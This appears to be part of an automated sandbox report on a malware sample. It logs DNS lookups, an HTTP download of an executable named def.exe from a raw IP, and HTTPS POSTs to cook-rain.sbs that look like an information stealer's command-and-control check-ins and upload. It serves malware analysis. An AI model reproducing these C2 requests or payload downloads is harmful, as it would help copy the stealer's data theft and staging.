Nov 18, 2024 20:21:51.142303944 CET	1.1.1.1	192.168.2.5	0x3e81	No error (0)	s-part-0039.t-0009.t-msedge.net		13.107.246.67	A (IP address)	IN (0x0001)	false
Nov 18, 2024 20:21:51.144267082 CET	1.1.1.1	192.168.2.5	0xfea3	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 20:21:51.144267082 CET	1.1.1.1	192.168.2.5	0xfea3	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 20:21:55.786149979 CET	1.1.1.1	192.168.2.5	0x18f6	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 20:21:55.814126968 CET	1.1.1.1	192.168.2.5	0xd545	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 20:21:58.164886951 CET	1.1.1.1	192.168.2.5	0xf20	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 20:21:58.185337067 CET	1.1.1.1	192.168.2.5	0x693f	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 20:22:01.940592051 CET	1.1.1.1	192.168.2.5	0xe9de	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 20:22:01.958420038 CET	1.1.1.1	192.168.2.5	0x9e9c	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

cook-rain.sbs

otelrules.azureedge.net

slscr.update.microsoft.com

https:

wcpstatic.microsoft.com

js.monitor.azure.com

fs.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49748	185.215.113.16	80	6508	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 20:21:28.848376036 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 18, 2024 20:21:29.782159090 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 19:21:29 GMT Content-Type: application/octet-stream Content-Length: 2800640 Last-Modified: Mon, 18 Nov 2024 19:16:16 GMT Connection: keep-alive ETag: "673b9280-2abc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 f3 b7 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `++`Ui` @ @.rsrc`2@.idata 8@vzknjvsv`\:@vkrybwpr +@.taggant@ +"@
Nov 18, 2024 20:21:29.782233000 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 20:21:29.782270908 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 20:21:29.782305002 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 20:21:29.782337904 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 20:21:29.782371998 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 20:21:29.782406092 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 20:21:29.782440901 CET	1236	IN	Data Raw: de 03 8d bc d6 9e 8b 83 3d cf 8d fb 4c 85 f1 4d e1 5a f7 5d 1c b8 e9 1d 12 15 c8 7a 83 58 58 70 35 87 42 e1 87 76 17 9d e5 4e d1 53 b8 bc 7b 7d 6c 14 ac 4d 30 09 89 19 3b b6 8e 17 6b 0c 45 6f 78 01 9c bd d6 0a a0 b5 22 e5 ac 13 51 df 8e ec ff 26 Data Ascii: =LMZ]zXXp5BvNS{}lM0;kEox"Q&`&6}H7nvUJjylL%\-7Tf+2Je,5qC1owy@Rr[kXXj<>]qwIw= yQZ0nRB
Nov 18, 2024 20:21:29.782495975 CET	1236	IN	Data Raw: f2 02 a6 b3 9a 02 b2 5f e1 2f 2e 53 53 e7 a7 ca fb ef 9b 57 ce b8 c9 5a 0c 8a d2 c3 7a c7 a1 bc fc ef e1 5d de a7 dd be e9 f8 1f 3b 7a 02 e6 bd fc a3 a5 8b ce cb f5 51 28 5e fc 97 02 e7 09 72 cc e6 41 f7 52 83 99 45 7a 87 ba bc bc d6 21 eb c3 3f Data Ascii: _/.SSWZz];zQ(^rAREz!?*1r\|:4k2ls;G;}GD+L3]]ijSyrzzJdmz}v[Gtra"i-hdLtL,2rB"1\9 &rROy^\|O\G\|
Nov 18, 2024 20:21:29.782533884 CET	1236	IN	Data Raw: 38 e1 9c c2 d0 bf a5 6e 2d aa 55 bd 45 2b 97 d0 46 f8 a3 8b 0a 12 d2 22 56 9d d6 9a 27 1f 01 22 20 ea d7 8c 48 7e c4 80 eb 9c 80 6e 5c d9 e0 32 2c 07 02 ae 5a a8 14 9f 6c f7 07 9f 1b 98 f5 f6 c3 12 fa 4a 6e 9c f1 c4 49 51 42 bc c2 72 bd ef 7c 2d Data Ascii: 8n-UE+F"V'" H~n\2,ZlJnIQBr\|-<Qm2TzX^~.8vJj"t"'xv4t;<>P$Tt"3O\|9'ixNAjZ~Za-%=lWB@JOD(jn;
Nov 18, 2024 20:21:29.788702965 CET	1120	IN	Data Raw: 42 ca 6c 27 64 db 86 77 68 5f 91 80 9f fb c3 5c 58 12 98 fc 57 db e5 6b 4b f1 79 a3 59 0a 6b 4c 58 0b f0 c9 fb d6 33 2e cd 1e 7b 92 37 48 a9 ca 00 45 fe c0 39 a9 ad 7b fc f9 93 b0 22 96 f9 c9 52 a4 eb be 28 98 e4 0a 7c e2 8a 2c 8c ac f6 fe 1b 1f Data Ascii: Bl'dwh_\XWkKyYkLX3.{7HE9{"R(\|,2RmNT@j[=c=+M`Q6DxfaFR<y4<JLVTJvMJuGy%UtrmJ nk}4GC&,`\W8e8_&x[jw

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	188.114.97.3	443	6508	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:10 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-18 19:21:10 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-18 19:21:11 UTC	977	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=njonh7qkdrooa5if908jilrm3e; expires=Fri, 14-Mar-2025 13:07:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bjOsmA2H5t%2Bc2cOuRjP8pS3OHbguN9U4jQpkxKHzU3ZBb5dSie5RG0ztW3P9rBSQxt%2BsyR1rKR3HxHqWbGl2B4nx0ErAwhjDXPqg4fbE2UUr8pkQfLd5ON2VAnggOX0b"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4a5271ef5a86cf-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=24446&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=118170&cwnd=32&unsent_bytes=0&cid=60e006cf4eb47bdb&ts=917&x=0"
2024-11-18 19:21:11 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-18 19:21:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	188.114.97.3	443	6508	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:12 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-18 19:21:12 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-18 19:21:12 UTC	977	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kjvu9o7mbg2akr8pasb3ecv0cd; expires=Fri, 14-Mar-2025 13:07:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g37gin15pjEekasxuoRfAS7LzZ0tNCynROsDU5oipF452hSZHsLxVSOF38IC1xp%2FZyvWHl3FKvIIjv83euMW5nIkrot8Y43DmjK3MUr7m0w7euIu6%2FoDt0ScjDFrI0SH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4a527c7e97e667-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=22710&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=950&delivery_rate=127543&cwnd=32&unsent_bytes=0&cid=c83c8939a2a5485e&ts=549&x=0"
2024-11-18 19:21:12 UTC	392	IN	Data Raw: 34 34 36 63 0d 0a 68 31 79 36 4b 72 64 36 65 6d 4e 63 4f 7a 2b 6c 34 48 36 68 46 45 4e 78 77 4b 79 71 35 59 39 52 48 59 4a 52 67 52 71 6c 39 32 37 38 66 73 77 49 6a 55 35 57 51 53 39 65 48 5a 2b 55 44 4e 52 78 62 31 4f 68 79 49 6a 66 36 54 42 78 38 54 53 74 4f 4e 4f 61 54 4c 30 36 32 30 62 45 48 31 5a 42 4f 55 4d 64 6e 37 73 46 67 33 45 74 55 2f 71 4f 7a 34 2f 74 4d 48 48 67 4d 4f 70 31 31 5a 73 4e 37 7a 44 64 51 74 49 5a 48 67 49 77 56 6c 72 41 68 52 2f 4c 65 69 6f 63 71 4d 47 49 79 61 30 30 5a 36 42 72 6f 31 66 41 67 77 2f 4b 50 63 6c 42 6c 51 64 57 47 48 35 65 55 59 66 61 58 4d 42 78 49 52 32 6d 79 4d 47 4e 35 7a 6c 35 34 54 58 72 61 73 79 52 42 75 38 2b 33 6b 50 59 45 41 6f 50 4f 6c 46 52 78 6f 38 66 67 7a 68 68 46 4c 71 4f 6b 4d 65 2b 41 58 7a 78 49 Data Ascii: 446ch1y6Krd6emNcOz+l4H6hFENxwKyq5Y9RHYJRgRql9278fswIjU5WQS9eHZ+UDNRxb1OhyIjf6TBx8TStONOaTL0620bEH1ZBOUMdn7sFg3EtU/qOz4/tMHHgMOp11ZsN7zDdQtIZHgIwVlrAhR/LeiocqMGIya00Z6Bro1fAgw/KPclBlQdWGH5eUYfaXMBxIR2myMGN5zl54TXrasyRBu8+3kPYEAoPOlFRxo8fgzhhFLqOkMe+AXzxI
2024-11-18 19:21:12 UTC	1369	IN	Data Raw: 36 59 42 70 55 66 41 45 46 6d 47 58 37 43 6b 68 76 50 59 47 4d 70 34 74 47 47 6e 71 30 30 63 36 42 72 6f 33 44 43 6c 67 2f 75 4d 64 74 41 33 67 6f 59 45 7a 68 55 57 4e 57 45 47 63 31 38 49 67 47 6f 77 4d 36 45 35 44 68 32 35 54 54 6e 4f 49 6e 56 43 2f 31 2b 67 41 6a 30 46 52 4d 4e 4e 45 35 64 68 35 31 53 32 6a 59 6d 48 2b 4b 57 69 49 50 73 4e 33 37 6b 50 65 31 38 79 35 4d 43 36 44 48 65 51 74 55 66 45 67 6b 32 57 46 44 4d 6a 52 7a 47 65 79 55 56 72 73 2f 4e 78 36 4e 7a 65 50 68 7a 75 7a 6a 70 6b 67 2f 33 66 4f 31 4c 32 78 59 66 46 33 35 47 45 39 37 43 47 38 38 32 65 56 4f 73 79 38 65 56 37 43 46 36 37 69 48 76 66 63 47 59 44 2b 73 2b 33 55 2f 59 46 68 34 47 50 56 46 5a 78 6f 77 51 79 58 55 6c 45 4f 4b 41 69 49 44 31 63 79 65 67 41 75 42 38 77 49 63 50 36 Data Ascii: 6YBpUfAEFmGX7CkhvPYGMp4tGGnq00c6Bro3DClg/uMdtA3goYEzhUWNWEGc18IgGowM6E5Dh25TTnOInVC/1+gAj0FRMNNE5dh51S2jYmH+KWiIPsN37kPe18y5MC6DHeQtUfEgk2WFDMjRzGeyUVrs/Nx6NzePhzuzjpkg/3fO1L2xYfF35GE97CG882eVOsy8eV7CF67iHvfcGYD+s+3U/YFh4GPVFZxowQyXUlEOKAiID1cyegAuB8wIcP6
2024-11-18 19:21:12 UTC	1369	IN	Data Raw: 52 46 42 45 4d 4f 46 6c 61 77 34 63 4f 78 6e 38 74 48 2b 4b 41 69 49 44 31 63 79 65 67 48 4f 52 75 78 4c 6f 50 39 44 65 59 56 35 73 42 57 41 59 79 47 51 57 48 68 52 6e 4c 66 53 63 62 6f 74 7a 4e 69 65 59 79 64 65 59 79 37 6e 54 42 6c 51 33 6c 4f 4e 52 49 30 68 38 4b 45 7a 74 66 54 38 33 43 55 6f 4e 78 4f 56 50 36 6a 76 36 58 2b 69 4a 70 6f 67 62 67 64 73 6d 53 47 71 55 68 6c 6c 47 56 48 78 52 42 5a 68 6c 57 78 34 34 62 79 33 41 6c 47 36 33 42 77 5a 58 73 50 33 48 79 4e 4f 4e 78 79 5a 6f 41 37 44 50 66 52 64 34 53 46 51 55 35 57 42 32 4a 77 68 76 62 4e 6e 6c 54 6c 4e 37 46 69 38 4d 34 63 2b 6c 7a 2f 44 62 65 31 51 76 70 66 6f 41 49 30 52 51 51 43 7a 46 51 56 38 32 4e 46 63 4e 2b 4b 42 71 68 7a 73 53 42 37 44 39 7a 37 54 62 67 66 63 71 51 44 4f 6b 35 33 30 Data Ascii: RFBEMOFlaw4cOxn8tH+KAiID1cyegHORuxLoP9DeYV5sBWAYyGQWHhRnLfScbotzNieYydeYy7nTBlQ3lONRI0h8KEztfT83CUoNxOVP6jv6X+iJpogbgdsmSGqUhllGVHxRBZhlWx44by3AlG63BwZXsP3HyNONxyZoA7DPfRd4SFQU5WB2JwhvbNnlTlN7Fi8M4c+lz/Dbe1QvpfoAI0RQQCzFQV82NFcN+KBqhzsSB7D9z7TbgfcqQDOk530
2024-11-18 19:21:12 UTC	1369	IN	Data Raw: 57 58 35 56 58 73 75 4b 45 38 56 2f 4c 52 6d 72 78 63 53 4d 36 54 39 32 35 54 58 69 66 63 4b 55 43 4f 6b 30 33 6b 76 57 46 78 63 4f 4e 68 6b 54 68 34 55 45 67 79 35 68 4e 72 58 46 78 6f 47 74 4c 44 48 35 63 2b 52 30 68 38 31 4d 36 54 66 65 54 74 41 55 47 51 63 32 58 46 58 44 67 78 72 46 64 53 34 58 70 38 2f 48 67 2b 45 39 64 65 45 79 37 33 50 49 6e 67 6d 6c 63 4a 68 50 7a 56 68 41 51 51 39 61 53 39 43 53 45 49 4e 70 62 77 72 69 79 63 54 48 74 58 4e 2b 38 6a 6e 70 64 73 4b 61 43 65 59 78 33 30 58 54 46 42 49 49 4e 6c 39 53 7a 70 41 66 7a 33 67 6d 48 61 37 41 78 59 33 75 50 6a 2b 75 63 2b 52 67 68 38 31 4d 79 54 6e 56 5a 74 34 55 48 30 45 68 46 30 53 48 68 52 43 44 4c 6d 45 66 71 4d 4c 42 68 2b 51 32 64 2b 73 36 35 6e 6e 4d 6b 41 2f 6a 4d 39 64 42 78 78 49 Data Ascii: WX5VXsuKE8V/LRmrxcSM6T925TXifcKUCOk03kvWFxcONhkTh4UEgy5hNrXFxoGtLDH5c+R0h81M6TfeTtAUGQc2XFXDgxrFdS4Xp8/Hg+E9deEy73PIngmlcJhPzVhAQQ9aS9CSEINpbwriycTHtXN+8jnpdsKaCeYx30XTFBIINl9SzpAfz3gmHa7AxY3uPj+uc+Rgh81MyTnVZt4UH0EhF0SHhRCDLmEfqMLBh+Q2d+s65nnMkA/jM9dBxxI
2024-11-18 19:21:12 UTC	1369	IN	Data Raw: 56 76 49 69 78 2f 4d 64 79 67 66 72 38 76 42 67 75 77 31 65 2b 6f 35 34 33 37 42 6c 41 6e 76 50 64 6c 43 33 42 38 51 42 6a 31 4c 48 59 6e 43 47 39 73 32 65 56 4f 4c 79 64 71 4a 2f 58 4e 67 72 69 71 6a 66 38 76 56 56 4b 55 36 30 6b 66 52 48 78 51 48 4f 31 39 51 78 6f 30 64 77 33 6b 6c 47 4b 76 49 79 59 72 6f 50 6e 76 79 4f 65 68 33 79 35 77 41 36 48 36 57 43 4e 49 41 57 46 6c 2b 61 46 44 4a 6a 42 76 56 4e 6a 35 64 75 34 37 50 69 36 31 72 50 2b 45 2f 37 48 76 49 6c 67 2f 6b 4e 4d 70 61 32 52 45 51 42 44 4a 53 55 38 47 51 47 73 78 2f 49 68 43 72 79 63 43 4c 35 7a 42 34 6f 48 32 6a 66 39 2f 56 56 4b 55 64 7a 31 6a 59 57 41 64 50 4a 78 6c 61 79 38 4a 45 67 33 34 73 47 36 6a 4b 7a 34 72 71 4e 58 62 79 4f 75 5a 32 78 35 45 48 36 6a 6a 63 53 39 55 4b 48 67 55 32 Data Ascii: VvIix/Mdygfr8vBguw1e+o5437BlAnvPdlC3B8QBj1LHYnCG9s2eVOLydqJ/XNgriqjf8vVVKU60kfRHxQHO19Qxo0dw3klGKvIyYroPnvyOeh3y5wA6H6WCNIAWFl+aFDJjBvVNj5du47Pi61rP+E/7HvIlg/kNMpa2REQBDJSU8GQGsx/IhCrycCL5zB4oH2jf9/VVKUdz1jYWAdPJxlay8JEg34sG6jKz4rqNXbyOuZ2x5EH6jjcS9UKHgU2
2024-11-18 19:21:12 UTC	1369	IN	Data Raw: 49 62 32 7a 5a 35 55 34 50 56 79 34 76 67 63 32 43 75 4b 71 4e 2f 79 39 56 55 70 54 4c 57 54 64 55 53 48 67 55 37 58 31 66 43 67 68 66 41 65 53 55 56 70 73 48 49 6a 4f 51 79 65 65 55 35 36 48 37 4b 6c 67 72 6a 66 70 59 49 30 67 42 59 57 58 35 35 52 73 71 4f 47 34 4e 70 62 77 72 69 79 63 54 48 74 58 4e 30 37 44 66 6b 65 4d 71 57 42 4f 41 36 30 6b 33 56 45 41 6f 4a 50 6c 35 50 31 59 49 56 78 6e 6f 69 45 36 62 49 77 59 48 75 4e 7a 2b 75 63 2b 52 67 68 38 31 4d 79 44 4c 66 59 64 49 44 57 42 35 77 51 42 33 41 6a 6c 79 62 4e 69 41 59 71 4d 48 46 68 4f 73 77 64 4f 55 35 34 6e 2f 50 6d 42 37 6d 4d 64 64 4d 31 52 63 65 42 7a 39 57 57 38 43 4c 48 63 74 78 59 56 33 69 79 64 44 48 74 58 4e 52 35 7a 44 6e 4f 4e 6a 62 46 61 55 35 31 41 69 4e 57 42 67 4c 4e 46 4e 54 78 Data Ascii: Ib2zZ5U4PVy4vgc2CuKqN/y9VUpTLWTdUSHgU7X1fCghfAeSUVpsHIjOQyeeU56H7KlgrjfpYI0gBYWX55RsqOG4NpbwriycTHtXN07DfkeMqWBOA60k3VEAoJPl5P1YIVxnoiE6bIwYHuNz+uc+Rgh81MyDLfYdIDWB5wQB3AjlybNiAYqMHFhOswdOU54n/PmB7mMddM1RceBz9WW8CLHctxYV3iydDHtXNR5zDnONjbFaU51AiNWBgLNFNTx
2024-11-18 19:21:12 UTC	1369	IN	Data Raw: 32 4f 56 50 36 6a 76 32 45 34 7a 31 34 39 69 4b 75 58 39 47 66 43 2f 55 35 7a 30 65 56 56 6c 67 48 66 67 45 4f 69 63 49 59 30 6a 5a 35 51 2f 43 56 6e 64 53 36 59 79 33 2f 66 66 6f 34 30 64 56 55 74 33 43 59 57 70 56 41 57 45 59 39 53 30 2f 42 67 51 72 41 4d 52 38 74 68 64 54 46 67 66 6f 69 51 64 34 30 2b 58 58 42 67 68 32 70 4b 39 74 47 32 78 38 4f 51 58 41 5a 55 6f 66 61 4a 59 4d 2b 59 53 7a 73 6a 74 44 48 74 58 4e 4b 34 7a 33 74 66 39 47 45 51 63 49 6b 31 55 37 43 43 56 68 50 66 6c 38 64 6e 39 4a 53 67 33 49 77 55 2f 71 65 6d 74 79 34 59 43 69 77 59 66 77 32 33 74 55 61 70 57 61 4b 42 70 55 4b 57 46 6c 2b 48 6c 37 56 6b 42 72 41 59 43 4a 55 6e 50 44 6d 67 4f 73 32 65 50 42 78 7a 58 50 54 6b 6b 79 72 66 74 63 49 6a 53 46 59 53 58 35 6d 45 34 65 61 58 4a Data Ascii: 2OVP6jv2E4z149iKuX9GfC/U5z0eVVlgHfgEOicIY0jZ5Q/CVndS6Yy3/ffo40dVUt3CYWpVAWEY9S0/BgQrAMR8thdTFgfoiQd40+XXBgh2pK9tG2x8OQXAZUofaJYM+YSzsjtDHtXNK4z3tf9GEQcIk1U7CCVhPfl8dn9JSg3IwU/qemty4YCiwYfw23tUapWaKBpUKWFl+Hl7VkBrAYCJUnPDmgOs2ePBxzXPTkkyrftcIjSFYSX5mE4eaXJ
2024-11-18 19:21:12 UTC	1369	IN	Data Raw: 34 70 61 59 31 62 5a 6d 4c 4c 64 6a 73 57 65 4a 6a 45 7a 7a 66 6f 41 61 6d 31 67 4b 51 57 59 5a 47 73 53 51 44 73 56 31 4e 78 44 6c 38 50 61 67 34 7a 52 2b 39 69 50 30 64 34 69 37 4f 73 51 41 35 6c 33 57 46 68 59 47 4b 45 67 64 69 63 49 54 67 79 34 59 55 2b 71 4f 39 38 6d 74 4b 7a 2b 34 63 39 5a 37 79 5a 73 4c 38 79 2b 56 62 39 73 66 47 52 63 75 54 6c 4b 49 72 43 72 69 4e 6d 39 54 70 49 36 51 31 61 4e 7a 65 2f 46 7a 75 79 69 56 7a 6c 6d 32 61 59 67 61 79 6c 59 42 51 53 67 5a 42 5a 58 4d 58 4e 45 32 65 56 50 6c 7a 64 71 56 36 7a 42 70 34 33 54 64 52 75 43 62 43 2b 51 6f 79 45 58 5a 4f 52 73 51 4e 47 64 6a 30 6f 45 53 7a 58 45 33 41 75 4b 41 69 49 69 74 61 30 61 67 65 36 4e 48 69 64 55 55 70 57 61 59 66 64 59 57 46 67 59 6f 53 42 44 67 6a 42 76 43 59 44 45 Data Ascii: 4paY1bZmLLdjsWeJjEzzfoAam1gKQWYZGsSQDsV1NxDl8Pag4zR+9iP0d4i7OsQA5l3WFhYGKEgdicITgy4YU+qO98mtKz+4c9Z7yZsL8y+Vb9sfGRcuTlKIrCriNm9TpI6Q1aNze/FzuyiVzlm2aYgaylYBQSgZBZXMXNE2eVPlzdqV6zBp43TdRuCbC+QoyEXZORsQNGdj0oESzXE3AuKAiIita0age6NHidUUpWaYfdYWFgYoSBDgjBvCYDE
2024-11-18 19:21:12 UTC	1369	IN	Data Raw: 38 65 6a 63 32 65 67 61 36 4e 56 31 5a 49 63 35 6e 7a 30 54 39 67 55 57 42 35 77 51 42 33 52 77 6b 53 51 4f 47 45 42 34 70 61 49 77 4f 34 68 62 65 59 77 39 58 75 41 71 7a 4c 49 4c 4e 39 59 31 6c 6f 70 44 44 70 50 53 4d 53 53 47 2f 31 49 44 41 47 6c 33 73 76 46 79 41 6b 39 30 53 58 67 65 4d 6d 53 54 4b 74 2b 77 41 69 4e 57 44 55 54 4f 55 6c 65 68 61 63 6d 67 55 63 33 45 4b 4c 41 7a 38 66 79 66 57 61 67 4a 61 4d 67 6c 4e 74 4d 39 33 36 41 43 4a 49 57 46 51 41 39 56 31 37 56 6b 42 72 41 59 43 4a 55 6e 50 44 6e 6a 4f 77 6a 63 76 45 2b 35 32 37 35 71 79 76 6a 4f 39 39 32 36 79 38 4a 42 69 34 62 65 38 53 55 48 34 4d 34 59 51 76 69 6c 6f 69 67 36 7a 5a 34 6f 48 32 6a 66 49 66 4e 54 4d 6f 31 32 56 6a 59 43 52 55 46 4b 42 74 36 77 59 63 62 67 7a 68 68 48 2b 4b 57 Data Ascii: 8ejc2ega6NV1ZIc5nz0T9gUWB5wQB3RwkSQOGEB4paIwO4hbeYw9XuAqzLILN9Y1lopDDpPSMSSG/1IDAGl3svFyAk90SXgeMmSTKt+wAiNWDUTOUlehacmgUc3EKLAz8fyfWagJaMglNtM936ACJIWFQA9V17VkBrAYCJUnPDnjOwjcvE+5275qyvjO9926y8JBi4be8SUH4M4YQviloig6zZ4oH2jfIfNTMo12VjYCRUFKBt6wYcbgzhhH+KW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	188.114.97.3	443	6508	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:14 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KWV91VKAI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12787 Host: cook-rain.sbs
